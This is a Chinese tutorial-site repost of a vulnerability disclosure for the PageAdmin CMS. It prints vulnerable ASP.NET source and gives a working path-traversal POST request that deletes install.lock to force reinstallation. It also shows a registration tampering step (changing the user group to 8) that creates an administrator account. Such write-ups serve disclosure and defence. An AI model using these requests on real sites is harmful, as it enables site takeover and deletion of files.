网站地图    收藏   

主页 > 后端 > 网站安全 >

PageAdmin任意文件删除+注册管理员 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 最新版任意文件删除漏洞一 任意文件删除 可导致系统重装 不过需要管理员权限看下这个文件e aspx delete_file aspx% @ Page language=c %% @ Import NameSpace=System Data%% @ Import Name...

最新版任意文件删除

漏洞一 任意文件删除 可导致系统重装 不过需要管理员权限




看下这个文件
 

e/aspx/delete_file.aspx


 

<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="System.IO"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
override protected void OnInit(EventArgs e)
{
  Check_Post();
  string Table=Request.Form["table"];
  string Field=Request.Form["field"];
  string Id=Request.Form["id"];
  string D_File=Request.Form["path"];
  string UserName="";
  int IsMaster=0;
  int CanDel=1;
  if(IsStr(Table) && IsStr(Field) && IsNum(Id))
    {
     Conn theconn=new Conn();
     OleDbConnection conn=new OleDbConnection(theconn.Constr());
     conn.Open();
     if(Request.Cookies["Master"]!=null)
      {
        Master_Valicate Master=new Master_Valicate();
        Master.Master_Check();
        IsMaster=1;
      }
     else
      {
        Member_Valicate Member=new Member_Valicate();
        Member.Member_Check();
        UserName=Member._UserName;
      }
     string sql;
     OleDbCommand comm;
     OleDbDataReader dr;
     sql="select id from pa_field where thetable='"+Table+"' and [field]='"+Field+"'";
     comm=new OleDbCommand(sql,conn);
     dr=comm.ExecuteReader();
     if(!dr.Read()
       {
        CanDel=0;
       }
      dr.Close();

     if(CanDel==1) //数据库要有刚才那个记录 candel的值才不会被修改为0
      {
        if(IsMaster==1) //需要管理员权限
        {
         Del_File(D_File); //跟进
        }
       if(Id!="0")
       {
        if(IsMaster==0)
        {
         sql="update "+Table+" set "+Field+"='' where username='"+UserName+"'' and id="+Id;
        }
       else
        {
         sql="update "+Table+" set "+Field+"='' where id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();

        if(IsMaster==0)
        {
         sql="update pa_file set detail_id=0 where username='"+UserName+"'' and thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
       else
        {
         sql="update pa_file set detail_id=0 where thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();
       }
      }
     conn.Close();
    }
}

private void Del_File(string FilePath)
 {
   if(FilePath!="" && FilePath.IndexOf(":")<0 && FilePath.IndexOf("/e/upload/")==0) //没过滤..可跳出目录 要以/e/upload/ 开头
    {
     if(FilePath.IndexOf("/zdy/")<0)
       {
         FilePath=Server.MapPath(FilePath);
         if(File.Exists(FilePath))
          {
            File.Delete(FilePath);
          }
      }
   }
 }





漏洞证明



可结合大牛的漏洞进行组合攻击

PageAdmin可绕过验证伪造任意用户身份登录(前台、后台)
 

http://wooyun.org/bugs/wooyun-2010-061861





现在进行测试就不用上面的步骤了,默认admin/admin 登陆后台,



然后访问
 

http://192.168.1.104/e/aspx/delete_file.aspx



post 提交
 

table=pa_member&Field=pa_address&id=0&path=/e/upload/../install/install.lock





本来是这样的 install.lock没删除
 

912.png





按上面操作之后
 

914.png





系统就可以重新安装了



或者可删除任意文件了



漏洞二 系统后台是默认 不允许注册管理员的
 

915.png





我们看下前台注册吧

访问

http://192.168.1.104/e/member/index.aspx?s=1&type=reg



我们提交注册信息抓下包看看
 

916.png



多了一个用户组 1代表普通会员 8代表管理员 把他修改成提交
 

917.png


 

918.png


 

919.png





然后看下后台
 

913.png



后台虽然设置了 禁止注册管理员账号 但是我们还是注册了管理员账号

如果开启了这样的模式
 

813.png





很多人认为 如果禁止了管理员注册了 那么第二个选项 是否审核注册用户觉得很多余了 干脆不审核注册管理员账号 或者可以设置邮箱验证(下拉有三个选项 不要选无需验证就好) 哈哈 那就危险了


修复方案:

对参数进行处理

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论